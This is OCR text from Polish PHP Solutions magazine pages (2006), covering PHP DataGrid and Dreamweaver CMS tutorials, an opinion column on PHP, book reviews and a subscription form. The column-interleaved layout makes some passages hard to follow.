Data- Pobiera dane z bazy za pomocą interfejsu Sterownik domyślny, wyświetlający dane w postaci stronicowa-
HTML_Table
Object obiektowego PEAR:: DB_DataObject. nej tabeli HTML z możliwością konfiguracji i sortowania.

DB Pobiera dane za pomocą PEAR::DB. Smarty Generuje dane prezentacji za pomocą szablonów Smarty.

Generuje pliki MS Excel za pomocą
RSS Pobiera i przetwarza dane ze źródła RSS. XLS
PEAR:: Spreadsheet_Excel_Writer

XML Przetwarza plik XML. XML Zapisuje dane do pliku XML.

Przetwarza datagrid na tabelę opisaną w języku XUL, używa-
XUL nym przez przeglądarki Mozilla, Firefox i inne oparte na silniku
Gecko.

tytek (ang. entities) HTML oznaczających klasa Structures_DataGrid wykonywała są zwracane w formacie stosowanym
strzałki skierowane do góry i w dół, ale to automatycznie, oszczędzając nam w kolumnie naszego datagridu. W tym
możemy użyć dowolnego kodu HTML, tym samym sporo pracy. Niekiedy jest przykładzie mamy tylko dwie kolumny:
również znacznika <img> służącego do jednak konieczne ręczne dodanie nowej pierwsza zawiera odsyłacz do artykułu,
wstawiania obrazów. kolumny. a druga link pozwalający przesłać jego
Wykorzystamy sterownik źródła danych adres znajomemu. Ten drugi uzyskamy
Rozszerzenie klasy RSS, aby pobrać dane z zewnętrznego pli- poprzez odpowiednie sformatowanie ad-
Structures_DataGrid ku RSS, a następnie wyświetlimy te dane resu artykułu i połączenie go ze skryptem,
Kod ustawiający każdy atrybut tabeli wraz z kilkoma dodatkowymi kolumnami. który umożliwia wysłanie linku.
z osobna jest dość długi, więc powta- Listing 6 ilustruje proces tworzenia źródła
rzanie go przy każdym użyciu datagridu danych RSS, przy czym wyświetlane będą Podsumowanie
nie byłoby specjalnie wygodne. Nie- jedynie pola tytułu i odsyłacza. Wdrożenie klasy Structures_DataGrid
dogodność tę rozwiążemy definiując Najciekawszą częścią jest dodawanie w wielu przypadkach całkowicie zmienia
własną klasę rozszerzającą Structures_ kolumn poprzez tworzenie instancji klasy sposób tworzenia aplikacji w PHP. Uwal-
DataGrid, dzięki czemu pożądane Structures_DataGrid_Column. Argumenty niając programistę od powtarzalnych
wartości atrybutów będą automatycznie przekazywane konstruktorowi tej klasy to i pracochłonych zajęć obejmujących
ustawiane przy każdym utworzeniu tytuł kolumny oraz nazwa pola, z którym pobieranie, przetwarzanie i prezentację
jej obiektu. Kod nowej klasy, którą na- kolumna ma być skojarzona. Konstruktor danych tabelarycznych, pozwala mu się
zwiemy myDataGrid, przedstawiamy na może też przyjmować inne argumenty, skupić na innych aspektach programo-
Listingu 5. określające między innymi ustawienia wania, takich jak logika biznesowa. W tym
Odtąd możemy tworzyć obiekty typu formatowania, atrybuty tabeli, wartości artykule przedstawiliśmy podstawowe
myDataGrid, zawierające określone w de- wstawiane automatycznie, opcje sorto- możliwości rozszerzenia Structures_
finicji klasy atrybuty prezentacji i stanowią- wania, itd. DataGrid, dając Ci solidną podstawę do
ce punkt wyjścia dla wszystkich datagridów Zdefiniujmy specjalne formatowanie dalszej pracy z tym narzędziem. Pokaza-
stosowanych w danej aplikacji. dla obu kolumn. Posłuży nam do tego ne przez nas przykłady stanowią świetny
metoda Setformatter(). Za jej pomocą punkt wyjścia do dalszego, samodzielne-
Dodawanie kolumn wskażemy metody, które posłużą do sfor- go poznawania potężnych i fascynujących
Kolumny datagridu są w rzeczywistości matowania tych kolumn (Listing 7). Zmien- możliwości Structures_DataGrid. 
instancjami klasy Structures_DataGrid_ na $params odpowiada tablicy zawierającej
Column. Jak dotąd, nie musieliśmy bez- dane z bieżącego rekordu zbioru danych,
pośrednio korzystać z tej klasy, gdyż zapisywane w zmiennej $data, po czym

O autorze
Aaron Wormus programuje w PHP od
1999 r. Zajmował się tworzeniem rozwią-
zań intranetowych w Perlu i technologiach
pokrewnych. Aaron koncentruje się na
dostarczaniu przedsiębiorstwom wysokiej
jakości rozwiązań intranetowych i wyko-
rzystuje potęgę PHP w pracy konsultanta.
Rysunek 2. Arkusz Excela utworzony na podstawie wyeksportowanych danych Kontakt z autorem: aaron@wormus.com.
tabelarycznych

PHP Solutions Nr 2/2006 www.phpsolmag.org 75
Tworzenie sekcji administracyjnej
systemu zarządzania treścią
Mariusz Zaharia

rogramowanie typowych dla systemu  Skopiuj przykładowe pliki do katalogu

P zarządzania treścią (Content Manage-
ment System – CMS) list i formularzy
zwykle zabiera mnóstwo czasu. W niniejszym

głównego strony.
Podłącz swój system CMS do bazy danych,
którą właśnie stworzyliśmy poprzez edy-
Czego potrzebujesz


Serwer WWW z obsługą PHP
Serwer bazy danych MySQL
artykule wypróbujemy kilka narzędzi RAD cję istniejącego połączenia z bazą danych  Macromedia Dreamweaver 8 (wersja
podczas szybkiej budowy dynamicznej listy w zakładce Databases panelu Application próbna na CD)
i formularza do zarządzania artykułami na aplikacji Dreamweaver. Upewnij się, że  Rozszerzenie MX Kollection do programu
Dreamweaver (wersja próbna na CD)
zapleczu systemu CMS. nazwa użytkownika i hasło do serwera  Znajomość oprogramowania Dreamweaver
MySQL są podane poprawnie i połącz się
SZYBKI START z bazą.
System CMS jest całkowicie dynamiczny. Aby
Rozszerzenia
Dreamweavera – co to jest?
szybko stworzyć stronę i rozpocząć tworzenie Aby sprawdzić poprawne działanie całości, Rozszerzenia przypominają wtyczki lub dodatki,
sekcji administracyjnej, wykonaj następujące otwórz w przeglądarce stronę index.php – po- ponieważ rozszerzają standardowe funkcje pro-
kroki: winna przedstawiać domyślną stronę domową gramu Dreamweaver. Mogą być różne – od krót-
twojego CMS. kich kawałków kodu po złożone aplikacje – i mają
różne cele. Ograniczają konieczność ręcznego
 Zainstaluj próbne wersje programów kodowania, automatyzują często powtarzane
Dreamweaver oraz MX Kolleection, w tej TWORZENIE LISTY ARTYKUŁÓW zadania, naprawiają określone błędy, zwiększa-
właśnie kolejności. – oba pakiety znajdują Utworzymy dynamiczną listę, która umożliwi ją produktywność lub tworzą określone obiekty.
się na naszym CD. MX Kollection to rozsze- użytkownikom wyświetlanie wszystkich Więcej rozszerzeń można znaleźć na stronie
Macromedia Exchange (www.macromedia.com/
rzenie do narzędzia Dreamweaver, więc artykułów w systemie CMS, ich autorów, daty exchange).
instalacja będzie przeprowadzona auto- publikacji i odpowiednie kategorie treści.
matycznie przez Macromedia Extension Użytkownicy będą mogli także sortować listę
Manager. w porządku rosnącym lub malejącym według jak i HTML, a także style CSS – wszystko to
 Uruchom skrypt cms.sql dostarczony dowolnych pól, a także filtrować ją, by wyświe- za pomocą szybkich, łatwych w użytkowaniu
razem z przykładowymi plikami, aby utwo- tlać wyłącznie artykuły spełniające określone graficznych interfejsów. Po instalacji kreatory
rzyć strukturę bazy danych podobną do tej kryteria – patrz Rysunek 2. i reguły dla serwerów MX Kollection dostępne
z Rysunku 1 i zapełnić ją przykładowymi Jeśli ktoś uważa że taki system trudno są w dwóch lokacjach:
danymi. zbudować , kreatory MX Kollection z pewnością
 Zdefiniuj w programie Dreamweaver stronę zmienią jego zdanie. MX Kollection to pakiet  W zakładce MX Kollection na belce Insert.
(menu Site), która używa testowego ser- rozszerzeń do programu Dreamweaver, które  W menu MX Kollection w zakładce Server
wera PHP_MySQL. pomagają tworzyć zarówno kod serwerowy, Behaviors panelu Application.

Rysunek 1. Struktura bazy danych CMS Rysunek 2. Lista dynamiczna z filtrami i sortowaniem

76
Stwórzmy listę artykułów: chcemy, aby użytkownicy musieli przewi-
jać ekranu tam i z powrotem za każdym Trwałość 
Otwórz plik admin\view.php w programie razem. Włącz efekt mouse-over effect interfejsu użytkownika
Dreamweaver i uruchom kreator Create dla każdego wiersza, wyświetl wszystkie Jest to funkcja umożliwiająca zapamiętywanie
NeXTensio List Wizard z belki Insert. linki jako przyciski i ponumeruj wiersze. przez interfejsy wcześniejszych konfiguracji
remember, co oszczędza wiele czasu. 
W pierwszym kroku powiemy kreatorowi, Upewnij się, że wszystkie opcje układu Trwałość można włączać i wyłączać z panelu
aby wyświetlał informacje z Table, wybie- graficznego są ustawione na Yes, a następ- InterAKT (belka Insert > zakładka MX Kollection).
rając utworzoną przez nas bazę, tabelę ar- nie kliknij Finish.
ticle_art oraz klucz główny id_art. Ponieważ InterAKT Dynamic Data
lista, którą tworzymy zawiera także prowa- Kreator sam utworzy wszystkie ustawienia Jest to graficzne narzędzie do wybierania
dynamicznych źródeł danych (pól rekordów,
dzące do formularza przyciski tworzenia, serwera, niezbędny kod HTML, JavaScript oraz
pól formularza, zmiennych sesji itp.). Jeżeli
edycji i usuwania artykułów, powinniśmy style CSS. Jeżeli przełączymy się do widoku dynamiczne źródło jest wybrane w ten sposób,
określić stronę zawierającą formularz kodu, zauważymy, że jest on zorientowany wygenerowany kod zawiera specjalny znacznik
– edit.php. Trzeba wreszcie wskazać kre- obiektowo i ma klasy wywoływane z folderu (na przykład {SESSION.kt_login_id}).
Pakiet MX Kollection jest zgodny z kilkoma typami
atorowi, aby wyświetlał 10 artykułów na includes w miarę potrzeb (należy pamiętać
serwerów – nie tylko PHP_MySQL – dzięki czemu
stronie; do wyświetlenia reszty artykułów o skopiowaniu tego folderu na serwer testowy znacznik ten będzie znaczyć to samo w przy-
będzie służyć dodana belka nawigacji. Te- przed obejrzenie strony w przeglądarce). Klik- padku ColdFusion i ASP_VBScript, a w dodatku jest
raz możemy przejść do następnego kroku, nięcie w dowolny przycisk przeniesie nas do łatwiejszy do zapamiętana.
klikając przycisk Next. pustej strony edit.php – tutaj właśnie stworzy- 
Skonfigurujemy każde z pól listy w siatce my uniwersalny formularz, a raczej pojedynczy Oferta specjalna
Nowe sposoby wykorzystania MX Kollection do
w następujący sposób: formularz przechowujący wszystkie transak- zadań RAD można znaleźć na stronie: http://
cje: wprowadzanie, aktualizacje i usuwanie. www.interaktonline.com/cms. Jeżeli podoba Ci się
 Dla pola idtop_art wprowadź Header pakiet MX Kollection i chcesz go mieć, oferujemy
“Temat” i pobierz jego wartość z tabeli TWORZENIE FORMULARZA ARTYKUŁU zniżkę w wysokości 100 USD. Wystarczy odwiedzić
następujący adres: http://www.interaktonline.com/
topic_top. Aby wyświetlać poprawne cmsbuy.
tematy, zamiat klucza obcego ustaw  Otwórz stronę admin\edit.php w progra-
kolumnę Label na name_top, zaś ko- mie Dreamweaver uruchom kreator Create
lumnę Value na id_top. NeXTensio Form Wizard z belki Insert  Następnie skonfigurujemy wszystkie
 Dla pola idusr_art ustaw Header na (zakładka MX Kollection). Kreator pomoże pola formularza z siatki w następujący
“Autor” i pobierz jego wartości z tabeli automatycznie wygenerować formularz sposób:
user_usr. Będziemy wyświetlać imiona HTML, podłączyć go do transakcji bazy
autorów z kolumny name_usr, a odpo- danych (wprowadzanie, aktualizacje i usu-  Dla pola idtop_art ustaw Etykietę na
wiednie wartości pobierzemy z kolum- wanie – insert, update, delete), ustawić „Temat” i wyświetl go jako menu. Po
ny id_usr. wartości domyślne pól i zdefiniować reguły kliknięciu przycisku Menu Properties
 Pozostaw pola title_art i content_art walidacji. można zauważyć, że wartości menu
z wartościami domyślnymi. Zmień  W pierwszym kroku ustawiamy połączenie są już poprawnie skonfigurowane
Header kolumny date_created_art na z bazą danych, wybieramy tabelę artic- i będą pobierane z rekordów. Dzięki
“Opublikowane”, a następnie przejdź le_art oraz klucz główny id_art. Przejdźmy trwałości interfejsu użytkownika nie
do następnego kroku. do następnego kroku. ma potrzeby definiowania nowych re-
kordów albo zmieniania czegokolwiek: 
W tym kroku zdefiniujemy filtry listy. Zmień kreator przywołuje ustawienia pola
kolumnę idtop_art tak, aby była wyświetla- idtop_art tak, że jest ono wyświetlane
na jako menu – dzięki temu użytkownicy jako menu filtra listy. Zostanie ono
będą mogli z łatwością wybrać i wyświetlić
wszystkie artykuły z danej kategorii. Zrób
to samo z kolumną autorów, a resztę fil-
trów pozostaw jako pola tekstowe. Przejdź
do następnego kroku. 
Teraz określimy układ listy. Artykuły po-
winny być ułożone według tytułu (title_art)
w porządku wstępującym. Można liście
przypisać arkusz CSS oraz zduplikować
przyciski i belkę nawigacyjną – przydaje
się to szczególnie, gdy lista jest długa i nie Rysunek 3. Konfiguracja kolumn listy Rysunek 4. Kreator generuje zachowania serwera

77
Zapiszmy strony, umieśćmy wszystkie pliki
na serwerze testowym, sprawdźmy działanie
listy oraz formularza. Można wprowadzać,
edytować i usuwać wiele artykułów naraz,
wybierając je z listy i klikając odpowiednie
przyciski (patrz Rysunek 6). Reguły walida-
cji zadziałają w przypadku każdego artykułu
z osobna.

INNE FUNKCJE CMS
Zobaczyliśmy, jak łatwo i szybko buduje się
dynamiczne listy i formularze do zarządza-
Rysunek 5. Użycie InterAKT Dynamic Data do wartości domyślnych nia artykułami w systemie CMS. Dzięki MX
Kollection nie trzeba już ograniczać się wy-
wygenerowane, tym razem z takimi zastąpiony aktualną datą i czasem (tak łącznie do list i formularzy. Oto kilka innych
samymi wartościami. jak w przypadku funkcji now() w PHP). rzeczy, które można wypróbować samemu
 Ustaw Label pola idusr_art na “Autor” Przejdźmy do następnego kroku. przy użyciu MX Kollection i programu Dream-
wyświetl je jako tekst i wprowadź  Walidacja jest istotnym krokiem w pro- weaver:
je w postaci numerycznej. Kiedy do cesie tworzenia bezpiecznej aplikacji
systemu CMS dodawany jest nowy i przy zapewnianiu integralności da-  Umożliwienie rejestracji nowych użytkow-
artykuł, jego autor jest akualnie zalo- nych. Dobrze jest sprawdzić, czy war- ników CMS i aktywowanie ich przez e-mail
gowanym użytkownikiem, więc do- tości pól idtop_art i idusr_art to liczby dzięki kreatorowi User Registration Wizard
myślną wartością kolumny idusr_art całkowite dodatnie. Powinniśmy także (login został już przygotowany w pliku
powinien być ID użytkownika aktu- wywoływać pole title_art, aby wszyst- admin\index.php).
alnej sesji. Aby ustawić tę wartość, kie artykuły miały tytuł. Wreszcie  Automatyczne wysyłanie do administrato-
kliknij niebieską ikonę błyskawicy należy dokonać walidacji pola date_cre- ra e-maila z potwierdzeniem dodania nowe-
i wybierz zmienną sesji kt_login_ ated_art względem formatu Datetime. go artykułu do CMS za pomocą zachowania
id, tak jak na Rysunku 4. Kliknięcie  W ostatnim kroku kreatora ustawiamy serwera Send E-mail.
OK w oknie InterAKT Dynamic Data wszystkie opcje układu na Yes i klika-  Użycie Server-Side Includes (SSI) do
spowoduje wprowadzenie w miejsce my Finish, aby zakończyć kreator. Na- tworzenia menu sekcji administracyjnej
domyślnej wartości następującego leży pamiętać o usunięciu wiersza wy- i umieszczenia go na wszystkich stronach
kodu: {SESSION.kt_login_id}. świetlającego ID autora w formularzu: sekcji.
 Ustaw pole content_art, aby było nie ma potrzeby, by go pokazywać,  Wgranie i powiązanie obrazka z każdym
wyświetlane jako tekst i zapewniło a jego wartość zostanie poprawnie artykułem za pomocą zachowania serwera
miejsce na treść artykułu. ustawiona dzięki odpowiedniej trans- Upload and Resize Image.
 Ustaw wartość domyślną pola date_cre- akcji. Warto zwrócić uwagę, że kreator  Tworzenie zestawów rekordów wykorzy-
ated_art na {NOW_DT}. Jest to specjalny wygenerwał wszystkie trzy transakcje stujących złożone zapytania SQL za pomo-
kod znaczników InterAKT który zostanie (patrz Rysunek 4). cą graficznego interfejsu, przy wykorzy-
staniu schematów baz danych podobnych
do Rysunku 1. 

O autorze
Marius Zaharia pracuje jako Documentation
Manager w firmie InterAKT Online, która tworzy
rozszerzenia do budowy dynamicznych stron
WWW w programie Macromedia Dreamweaver.
Poza pisaniem artykułów i tutoriali dla develope-
rów, bawi się nauką nowych rzeczy i odkrywaniem
nowych technologii. Do jego zainteresowań należą
programowanie aplikacji internetowych, polityka
i awangardowa muzyka elektroniczna.
Kontakt z autorem: mzaharia@interaktonline.com
Rysunek 6. Jednoczesna edycja wielu artykułów

78
zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Piaskowa 3, 01-067 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
automatyczne przedłużenie prenumeraty

Ilość Od numeru Opłata
Tytuł Ilość
numerów
zamawianych
prenumerat
pisma lub
miesiąca
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0 12 250/1801
Miesięcznik profesjonalnych programistów
SDJ Extra (od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra! 6 150/1352
Numery tematyczne dla programistów

Linux+ (2 płyty CD)
Miesięcznik o systemie Linux
12 250/1801

Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
12 270/1981

Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8 232/1982

PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6 135

Hakin9, jak się obronić (1 płyta CD)
Dwumiesięcznik o bezpieczeństwie i hakingu
6 135

.psd (1 płyta CD + film instruktażowy)
Dwumiesięcznik użytkowników programu Adobe Photoshop
6 140

Aurox Linux (4 płyty CD + 1 płyta DVD)
Magazyn z najpopularniejszym polskim Linuksem
4 1193

Suma

Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumertaty dwuletniej Aurox Linux www.shop.software.com.pl
Felieton

PHP: Hobby,
które przynosi zysk
Guillaume Ponçon

W
1995 roku Rasmus Lerdorf, frameworki, aplikacje i skrypty są liczne, Firma Zend planuje udostępnienie open-
bezrobotny informatyk szuka- niejednorodne i powtarzające się pod sourcowego frameworka wzorcowego dla
jący zatrudnienia, z zapałem względem funkcjonalności. PHP w roku 2006.
chwycił się zadania stworzenia prostego Dzisiaj, dzięki PHP, wiele profesjonal- Weźmy też pod uwagę, iż PHP
i szybkiego języka na potrzeby swojej nych projektów radzi sobie z poważnymi rozwijało się w oderwaniu od potrzeb
strony WWW, m.in. prezentacji umiesz- zadaniami i przynosi duże zyski. Te przed- i realiów przedsiębiorstw. I nic dziwnego:
czonego na niej CV oraz śledzenia sięwzięcia mają jeden wspólny element: jest dziełem pokaźnego grona grona de-
odwiedzin. Tak narodziła się pierwotna nieodzowną obecność przewodnika czyli weloperów-pasjonatów, którzy za darmo
wersja PHP, zwana Personal Home Page guru, który definiuje i nadzoruje architek- poświęcają mu swój czas. Pamiętajmy,
Tools. Po 10 latach istnienia, PHP święci turę i reguły rozwoju oprogramowania. Na że motywacja pracy wpływa na jej jakość:
tryumfy popularności: napisano w nim po- tym etapie, wprowadzenie PHP do firm PHP ma tu duży atut. Wadą takiego po-
nad 40% wszystkich aplikacji webowych, okazało się opłacalne i nie gwarantujące dejścia jest natomiast słabe przystoso-
jest używany na ok. 22 milionach domen stabilności. wanie do potrzeb firm. Twórcy PHP wzięli
internetowych, stanowiących więcej niż Ale społeczność PHP nie powiedziała sobie to do serca i począwszy od wersji
25% wszystkich stron WWW. PHP ma jeszcze ostatniego słowa: przystosowanie PHP4 starają się coraz lepiej zaspokoić
też jedną z najprężniejszych społeczności PHP do warunków panujących w firmie wymagania biznesu. Dowodem są roz-
opensourcowych na świecie. jest głównym celem wyłaniającego się wiązania klasy Enterprise dla PHP4, takie
Założenia PHP są niezmienne: jego powoli PHP6! Możliwe stanie się wymu- jak CMS eZ publish. Ich liczba znacznie
największą zaletą jest i ma być prostota. szenie przestrzegania pewnych konwen- wzrosła wraz z nadejściem PHP5. Jakie
Dodatkowo, w wersji 5, jak i zapowia- cji, takich jak: zachowanie wielkości liter więc będzie PHP6? Czas pokaże: jeśli
danym wydaniu szóstym PHP staje się w nazwach funkcji, składnia klas, stoso- zapowiedzi zostaną zrealizowane, to
językiem zorientowanym na potrzeby pro- wanie przestrzeni nazw, obowiązkowe będziemy mogli mówić o jednej z naj-
fesjonalistów i biznesu: zaczynamy mówić używanie wyjątków, przejście na stan- trwalszych i najłatwiejszych do wdrożenia
o platformie programistycznej. Obecny dard Unicode, itd. Dużym plusem będzie platform programistycznych. Czekamy
rozwój PHP opiera się na aktywnym słu- również łatwiejsza i bardziej niezadowna z niecierpliwością! 
chaniu i rozumieniu ogółu użytkowników, instalacja.
do grona których zalicza się coraz więcej Wreszcie, istniejące rozszerzenia
doświadczonych deweloperów i architek- PHP rozwijają się powoli, ale skutecznie.
tów, tworzących na potrzeby przedsię- Natomiast niewiele spośród tworzonych
biorstw. w PHP aplikacji posiada doświadczoną
Nie wszystko jednak wygląda tak i prężną społeczność. A od współpracy O autorze
różowo. Choć zarówno programowanie ze społecznością zależy sukces nasze- Guillaume Ponçon jest architektem
obiektowe, jak i obsługa wyjątków oferuje go przedsięwzięcia: inaczej będziemy i dewoloperem PHP w firmie Anaska.
Jest również prelegentem i ściśle współ-
ogromne możliwości, potrzebne są pewne musieli polegać na plątaninie małych,
pracuje z firmą Zend Technologies.
rygory tworzenia i organizacji kodu, czego niezgodnych ze sobą, efemerycznych Działa w różnych stowarzyszeniach
nie ułatwia skrajna elastyczność PHP. aplikacji, odkrywając po raz kolejny Ame- PHP, m.in. we Francuskim Stowarzy-
W przeciwieństwie do J2EE czyh .NET, rykę. Zespół Zend Technologies dobrze szeniu Użytkowników PHP (AFUP).
Napisał książkę Best Practices PHP5.
w PHP nie ma standardów, których trze- zna ten problem, ponieważ ma coraz
Kontakt z autorem: guillaume@anaska.fr
ba się trzymać. Dostępne w tym języku większą styczność ze światem biznesu.

80 www.phpsolmag.org PHP Solutions Nr 2/2006
R E C E N Z J E

Systemy baz danych 
Autor: Paul Beynon-Davis
Wydawnictwo: Wydawnictwo Naukowo-Techniczne Cena: 21,60 zł

Systemy baz danych nie są właściwie książką o bazach danych, lecz skryptem akademickim do przedmiotu o takiej nazwie. Chociaż
ponad 500 stron wypełnionych jest informacjami, książka nie dostarczy żadnej praktycznej wiedzy ani umiejętności, z wyjatkiem być
może umiejętności zdania egzaminu zrobionego na jej podstawie.
Jak większość naukowców autor nie darowuje sobie rozpoczęcia książki od serii klasyfikacji i definicji, na przykład: Dana, jako
jednostka danych, jest to jeden lub kilka symboli użytych do reprezentowania czegoś. A także historii prezentowanej dziedziny: Ludzie
przechowywali dane od wielu tysięcy lat. Na przykład pierwszy znany zapis opisujący majątek królewski i podatki w Sumerze pocho-
dzi z ok. 4000 r. p.n.e. Pojawiają się też naukowo brzmiące, lecz jawnie nieprawdziwe twierdzenia, jak: System informacyjny jest to
system, który dostarcza dane dla przedsiębiorstwa lub jego części (czy tylko przedsiębiorstwa mogą mieć systemy informacyjne?!).
Tego rodzaju wata nie jest tylko dodatkiem do książki – szacunkowo biorąc stanowi około połowy jej objętości, w wypadkach nie-
których rozdziałów (np. multimedialne bazy danych i bazy danych w Internecie) mamy do czynienia wyłącznie z trocinami.
Z punktu widzenia studenta Systemy bazy danych będą jeszcze jedną nieinspirującą lekturą do wykorzystania w systemie
Zakuć, Zdać, Zapomnieć. Jeżeli po książkę sięgnie średnio doświadczony autor aplikacji bazodanowych, znajdzie w
niej trochę rodzynków – między innymi podstawowe informacje o fizycznej organizacji danych w plikach i indekso-
waniu (pozbawione niestety jakichkowiek przykładów pozwalających wykorzystać tę wiedzę do optymalizacji bazy),
opis obiektowych baz danych (w sumie pięć stron), bardzo dobrze opisane teoretycznie podstawy relacyjnych baz
danych (ciekawsze problemy, takie jak operacje na strukturach rekurencyjnych, są tylko zasygnalizowane) i ich nor-
malizacji.
Systemy baz danych są starannie zredagowane, jednak tłumacz nie miał chyba praktycznego kontaktu z informatyką;
niektóre fragmenty są tłumaczone bez zrozumienia, na przykład termin interfejs w postaci wspólnej bramy (ktoś zgadł? cho-
dziło o standard CGI). Książkę mogę polecić tylko jako uzupełnienie wykładu lub dobrych zajęć praktycznych, i to raczej nie
informatykom.
Filip Dreger

PHP5 i MySQL – Zastosowania e-commerce 
Autorzy: Emilian Balanescu, Mihai Bucica, Cristian Darie
Wydawnictwo: Helion Cena: 71,10 zł

Jest taki rodzaj artykułu w prasie komputerowej, często goszczący także na łamach PHP Solutions. Redaktorzy nazywają go
KPKNKP, czyli Krok Po Kroku Na Konkretnym Przykładzie. Mówiąc krótko, książka PHP5 i MySQL – Zastosowania e-commerce jest
takim właśnie arykułem, tylko że o długości bitych 526 stron. Stosowniejszy byłby podtytuł Jedno zastosowanie e-commerce, bo cała
lektura – rzeczywiście szczegółowo – opisuje proces budowy pojednyczego sklepu internetowego.
Autorzy PHP5 i MySQL – Zastosowania e-commerce nie potrafili się zdecydować, dla kogo przeznaczona jest książka. W pierwszym
rozdziale obszerny fragment poświecony jest wyjaśnianiu, czym w ogóle jest język PHP, co sugeruje czytelnika bardzo początkującego.
Z tym że od razu na początku drugiego rozdziału autorzy... znienacka pokazują fragment kodu PHP z lakonicznym opisem: utworzono
tu klasę Page dziedziczącą z klasy Smarty. Wszystkie instrukcje inicjujące pracę kodu zostały więc zamieszczone w konstruktorze kla-
sy Page. Milczące założenie jest – jak rozumiem – takie, że między przeczytaniem rozdziału pierwszego a drugiego czytelnik
wkuł jakiś podręcznik PHP5?
Mimo potknięć redakcyjnych lektura PHP5 i MySQL – Zastosowania e-commerce sprawiła mi przyjemność, a książkę
uważam za potrzebną i pożyteczną. W odróżnieniu od tysięcy innych samouczków LAMP tutaj mamy do czynienia z podej-
ściem nastawionym na praktyczne opisanie pracy nad większym projektem: autorzy kładą nacisk na dobrą architekturę cało-
ści, a w kolejnych rozdziałach nie pomijają nawet szczegółowego opisu obsługi płatności kartą kredytową (w dwóch różnych
systemach, więc przełożenie instrukcji na polskie realia nie jest trudne) i współpracy z Amazon.com z użyciem Web Services.
Proponowana architektura sklepu nosi indywidualne piętno jej twórców – w niektórych kwestiach zgadzam się z nimi
(porównanie wywołań REST i SOAP), w niektórych chętnie bym polemizował (uzasadnienie dla użycia szablonów SMAR-
TY), ale trzeba przyznać, że każdy początkujący programista – o ile ma już opanowane podstawy PHP5 – znajdzie w
książce dużo rzetelnej wiedzy.
Filip Dreger
W następnym numerze
PHP Solutions 3/2006(14)

TECHNIKI
Streaming Audio w PHP – Karl Vollmer,
twórca projektu Ampache prezentuje Streaming
Audio w PHP. Autor pokaże, jak stworzyć apli-
kację, która będzie w stanie wykonywać takie
operacje jak transcoding, downsampling
i stream seeking, także przy użyciu HTTPS.

NARZĘDZIA
PhpBeans – środowisko i specyfikacja do
tworzenia wielowarstwowych aplikacji klasy
Enterprise. Pokażemy zalety oprogramowania
tworzonego przy użyciu phpBeans i przedstawi-
my jego integrację z frameworkiem PRADO.

iConnect w praktyce – tworzenie aplikacji
w PHP5 w oparciu o nowoczesną architekturę
dla rozwiązań klasy Enterprise.

PROJEKTY
EyeOS – Web Based Desktop System – Inter-
net na biurku czy biurko w Internecie? Przedsta-
wimy wnętrze i mechanizmy działania systemu
EyeOS – czyli webowego systemu operacyjne-
go napisanego m.in. w PHP, rozwijanego przez
społeczność na zasadach Open Source.

Copix – nowa jakość w dziedzinie systemów
CMS: wykorzystanie DAO, PHP5, 5-warstwowa
architektura, obsługa wielu baz danych, w tym
Oracle, to tylko niektóre z jego wielu możliwości.

Ponadto planujemy: W sprzed
aży
od 20 kwi


Zarządzanie klientami z PHP-GTK2 – Pablo Dall’Oglio
Video Streaming z wykorzystaniem PHP
etnia!
■ SNMP – zdalne sterowanie sprzętem

oraz ciąg dalszy artykułów poświęconych bezpieczeństwu
aplikacji oraz wykorzystaniu wzorców projektowych

Sprostowanie do artykułu pt. „Porównanie ofert polskich firm hostingowych“ z poprzedniego numeru PHP Solutions
Limit transferu Obsługa baz Ceny Lokalizacja
Firma Usługa Powierzchnia Restrykcje ilościowe
(roczny) danych (netto) serwera
Bazy Kont Domen / Baz Postgre- Abonament
FTP Poczta Serwisów Kont FTP MySQL
Danych e-mail Subdomen danych SQL Roczny
Nazwa (nazwa.pl) Active 5 GB 300 GB b.o. b.o. b.o. 1 b.o. Tak Tak 300
Polska
Pro 10 GB 600 GB b.o. b.o. b.o. 1 b.o. Tak Tak 600